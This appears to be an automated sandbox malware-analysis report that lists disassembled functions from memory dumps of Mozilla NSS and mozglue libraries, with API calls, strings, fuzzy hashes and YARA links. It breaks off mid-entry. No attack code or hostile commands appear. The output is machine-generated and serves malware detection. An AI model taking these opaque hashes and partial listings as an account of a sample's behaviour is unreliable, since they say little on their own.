sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC14E4D

Strings

misuse, xrefs: 6CC14E42
API call with %s database connection pointer, xrefs: 6CC14E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC14E38
%s at line %d of [%.10s], xrefs: 6CC14E47
invalid, xrefs: 6CC14E25

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 0fce6071378ee1a4db8fe700bbf1784968eed33d34ec2bd45dd741bf73362d34
Instruction ID: 3c1d8435715f748ad58bcda8d63856ecc723c0bce6b5902018f3600e296467cd
Opcode Fuzzy Hash: 0fce6071378ee1a4db8fe700bbf1784968eed33d34ec2bd45dd741bf73362d34
Instruction Fuzzy Hash: B0F0E221E48928AFEA208127DD10F837B869F0272DF0944A1FA1867E92F30598A162A1

Function 6CB80C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CB81444,?,00000001,?,00000000,00000000,?,?,6CB81444,?,?,00000000,?,?), ref: 6CB80CB3

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CB81444,?,00000001,?,00000000,00000000,?,?,6CB81444,?), ref: 6CB80DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CB81444,?,00000001,?,00000000,00000000,?,?,6CB81444,?), ref: 6CB80DEC

Part of subcall function 6CBA0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB42AF5,?,?,?,?,?,6CB40A1B,00000000), ref: 6CBA0F1A
Part of subcall function 6CBA0F10: malloc.MOZGLUE(00000001), ref: 6CBA0F30
Part of subcall function 6CBA0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBA0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CB81444,?,00000001,?,00000000,00000000,?), ref: 6CB80DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CB81444,?,00000001,?,00000000), ref: 6CB80E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB81444,?,00000001,?,00000000,00000000,?), ref: 6CB80E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CB81444,?,00000001,?,00000000,00000000,?,?,6CB81444,?,?,00000000), ref: 6CB80E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CB81444,?,00000001,?,00000000,00000000,?), ref: 6CB80E79

Part of subcall function 6CB91560: TlsGetValue.KERNEL32(00000000,?,6CB60844,?), ref: 6CB9157A
Part of subcall function 6CB91560: EnterCriticalSection.KERNEL32(?,?,?,6CB60844,?), ref: 6CB9158F
Part of subcall function 6CB91560: PR_Unlock.NSS3(?,?,?,?,6CB60844,?), ref: 6CB915B2

Part of subcall function 6CB5B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CB61397,00000000,?,6CB5CF93,5B5F5EC0,00000000,?,6CB61397,?), ref: 6CB5B1CB
Part of subcall function 6CB5B1A0: free.MOZGLUE(5B5F5EC0,?,6CB5CF93,5B5F5EC0,00000000,?,6CB61397,?), ref: 6CB5B1D2

Part of subcall function 6CB589E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB588AE,-00000008), ref: 6CB58A04
Part of subcall function 6CB589E0: EnterCriticalSection.KERNEL32(?), ref: 6CB58A15
Part of subcall function 6CB589E0: memset.VCRUNTIME140(6CB588AE,00000000,00000132), ref: 6CB58A27
Part of subcall function 6CB589E0: PR_Unlock.NSS3(?), ref: 6CB58A35

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: c071ec0740b08dddd5f9409a47d019cb75e4b36434c7a301c431fee9a4b7b81f
Instruction ID: af131313ba53d73fcf94c991e7c33b24daee0b8460e706abc67c1f3a666a311a
Opcode Fuzzy Hash: c071ec0740b08dddd5f9409a47d019cb75e4b36434c7a301c431fee9a4b7b81f
Instruction Fuzzy Hash: E651B8F6D022905FEB009F64EC81AAF37A8EF0525CF550024ED199BB12FB31ED1587A2

Function 6CB36E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CB36ED8
sqlite3_value_text.NSS3(?,?), ref: 6CB36EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CB36FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CB36FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CB36FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CB37010
sqlite3_value_blob.NSS3(?,?), ref: 6CB3701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CB37052

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 2826672bbda86cdf3995a8be3d6aec9ac0595cb2704ec6f82df9d8592a59faf4
Instruction ID: f4b77d7e5b800a8aed83ef681cd3f3a05c9287b7337a9a9c6657ec4843206a97
Opcode Fuzzy Hash: 2826672bbda86cdf3995a8be3d6aec9ac0595cb2704ec6f82df9d8592a59faf4
Instruction Fuzzy Hash: 8961BFB1E042A98BDF00CB68CD406EEB7B2BF45308F285164D418ABB50E7769815CB91

Function 6CBA8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CBA7313), ref: 6CBA8FBB

Part of subcall function 6CBA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB48298,?,?,?,6CB3FCE5,?), ref: 6CBA07BF
Part of subcall function 6CBA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBA07E6
Part of subcall function 6CBA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBA081B
Part of subcall function 6CBA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBA0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CBA7313), ref: 6CBA9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CBA7313), ref: 6CBA903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CBA7313), ref: 6CBA909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CBA7313), ref: 6CBA90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CBA7313), ref: 6CBA90F1

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CBA7313), ref: 6CBA906B

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CBA7313), ref: 6CBA9128

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 6b3b31205d12938f25e11d7b89938069c3c296f1cbeeac3944cdd8d52fe0be38
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3E51A571E082419FEB209FAADC44B26B3F9EF44358F154029D995D7B51EB33E806CB92

Function 6CB64E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB64E90
EnterCriticalSection.KERNEL32 ref: 6CB64EA9
TlsGetValue.KERNEL32 ref: 6CB64EC6
EnterCriticalSection.KERNEL32 ref: 6CB64EDF
PL_HashTableLookup.NSS3 ref: 6CB64EF8
PR_Unlock.NSS3 ref: 6CB64F05
PR_Now.NSS3 ref: 6CB64F13
PR_Unlock.NSS3 ref: 6CB64F3A

Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307AD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307CD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307D6
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAC204A), ref: 6CB307E4
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,6CAC204A), ref: 6CB30864
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB30880
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,6CAC204A), ref: 6CB308CB
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308D7
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308FB

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 3fcc4e2961c9ce0e47eb2c31dfc2ada4aff5eeb717e0d572882e5485ed2abc3a
Instruction ID: f26878affa509174176b2cc3edb6f622d4af013959e0c42455071edc91f2553b
Opcode Fuzzy Hash: 3fcc4e2961c9ce0e47eb2c31dfc2ada4aff5eeb717e0d572882e5485ed2abc3a
Instruction Fuzzy Hash: 954147B4A00A45CFCB04EF79D0848AABBF0FF49344B018669EC599B710EB30E895CF91

Function 6CA9B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CA9B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CA9B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CA9B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CA9B5F4
__Init_thread_footer.LIBCMT ref: 6CA9B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CA9B61F
std::_Facet_Register.LIBCPMT ref: 6CA9B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9B655

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9ebe1483cb1cc6c88d414182d08e0c68c4a400faa6f1828caceab0236701f407
Instruction ID: 56c6f2413cbe54993c120e3c10e9d3c89cd3790ef4b6772fa1c8186cba92eb88
Opcode Fuzzy Hash: 9ebe1483cb1cc6c88d414182d08e0c68c4a400faa6f1828caceab0236701f407
Instruction Fuzzy Hash: 3531C471B00207CBCF18DBE8E9959AEB7B5FB89329B154619D90297740DB30A847CB91

Function 6CB32D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CB32D69

Strings

winTruncate2, xrefs: 6CB32EF8
winSeekFile, xrefs: 6CB32E9C
winUnmapfile1, xrefs: 6CB32F55
winUnmapfile2, xrefs: 6CB32F7F
winTruncate1, xrefs: 6CB32EBE

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 6d42270f7dd884082162a49ddd1814ed84b6c5cbc6d47869f65a7a4322230dd1
Instruction ID: 2fe4be88d7b84eaa8862a2907a37ab5462d6c8c3cee911e05ac0378a81d34909
Opcode Fuzzy Hash: 6d42270f7dd884082162a49ddd1814ed84b6c5cbc6d47869f65a7a4322230dd1
Instruction Fuzzy Hash: BB619175B002159FDB04CF69DC98A6A77B1FF49314F10812CE91A9BBD1EB31AD06CB92

Function 6CB8AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CB8AB3E,?,?,?), ref: 6CB8AC35

Part of subcall function 6CB6CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB6CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB8AB3E,?,?,?), ref: 6CB8AC55

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8AB3E,?,?), ref: 6CB8AC70

Part of subcall function 6CB6E300: TlsGetValue.KERNEL32 ref: 6CB6E33C
Part of subcall function 6CB6E300: EnterCriticalSection.KERNEL32(?), ref: 6CB6E350
Part of subcall function 6CB6E300: PR_Unlock.NSS3(?), ref: 6CB6E5BC
Part of subcall function 6CB6E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CB6E5CA
Part of subcall function 6CB6E300: TlsGetValue.KERNEL32 ref: 6CB6E5F2
Part of subcall function 6CB6E300: EnterCriticalSection.KERNEL32(?), ref: 6CB6E606
Part of subcall function 6CB6E300: PORT_Alloc_Util.NSS3(?), ref: 6CB6E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CB8AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB8AB3E), ref: 6CB8ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CB8AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CB8AD2B

Part of subcall function 6CB6F360: TlsGetValue.KERNEL32(00000000,?,6CB8A904,?), ref: 6CB6F38B
Part of subcall function 6CB6F360: EnterCriticalSection.KERNEL32(?,?,?,6CB8A904,?), ref: 6CB6F3A0
Part of subcall function 6CB6F360: PR_Unlock.NSS3(?,?,?,?,6CB8A904,?), ref: 6CB6F3D3

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 70e464768d4a1837c811177d373e12968bd93036d2d7d77da81aee832ed7b30f
Instruction ID: 6c8c81c701c9efd6ac41c2bc25d3ec5946959e1018119f6f6f5a6679f6134c8c
Opcode Fuzzy Hash: 70e464768d4a1837c811177d373e12968bd93036d2d7d77da81aee832ed7b30f
Instruction Fuzzy Hash: D33139B1E016555FEB00CF69CC409AF7776EF84328B188128E8159BB80EB31DD158FA1

Function 6CA71D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA71D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA71BE3,?,?,6CA71D96,00000000), ref: 6CA71D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA71BE3,?,?,6CA71D96,00000000), ref: 6CA71D4C
GetCurrentThreadId.KERNEL32 ref: 6CA71DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA71DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA71DDA

Part of subcall function 6CA71EF0: GetCurrentThreadId.KERNEL32 ref: 6CA71F03
Part of subcall function 6CA71EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA71DF2,00000000,00000000), ref: 6CA71F0C
Part of subcall function 6CA71EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA71F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA71DF4

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: ffb9b9e6962e3715db03d3851abe43eaf173d5db17f8d5ab367cd098dd32b45f
Instruction ID: 6170e10c85d0975a4f5ed85ab28d325a820680eb9ca9ef5f6c7ca4540e18facf
Opcode Fuzzy Hash: ffb9b9e6962e3715db03d3851abe43eaf173d5db17f8d5ab367cd098dd32b45f
Instruction Fuzzy Hash: CB41ACB52003069FCB24CF68D598A5ABBF5FB49314F10852DE95A87B41DB31E854CB90

Function 6CB68C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB68C7C

Part of subcall function 6CC09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC50A27), ref: 6CC09DC6
Part of subcall function 6CC09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC50A27), ref: 6CC09DD1
Part of subcall function 6CC09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC09DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB68CB0
TlsGetValue.KERNEL32 ref: 6CB68CD1
EnterCriticalSection.KERNEL32(?), ref: 6CB68CE5
PR_Unlock.NSS3(?), ref: 6CB68D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CB68D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB68D93

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 16fda3a551ea5530f6b448fad0c88ddc669dfc62b5ec125002f0e6fd1cbd401c
Instruction ID: 871f34b56924f6eac4bd7fc9bf1a85240b03c5d3d7b68688464ffd0782c97c35
Opcode Fuzzy Hash: 16fda3a551ea5530f6b448fad0c88ddc669dfc62b5ec125002f0e6fd1cbd401c
Instruction Fuzzy Hash: EF316871E00251AFEB009F6ADC4479AB7B0FF56318F14013AEA1967F90D772A924C7E2

Function 6CB62E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CB5E728,?,00000038,?,?,00000000), ref: 6CB62E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB62E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB62E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CB62E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CB62E9E
PR_Unlock.NSS3(?), ref: 6CB62EAB
PR_Unlock.NSS3(?), ref: 6CB62F0D

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

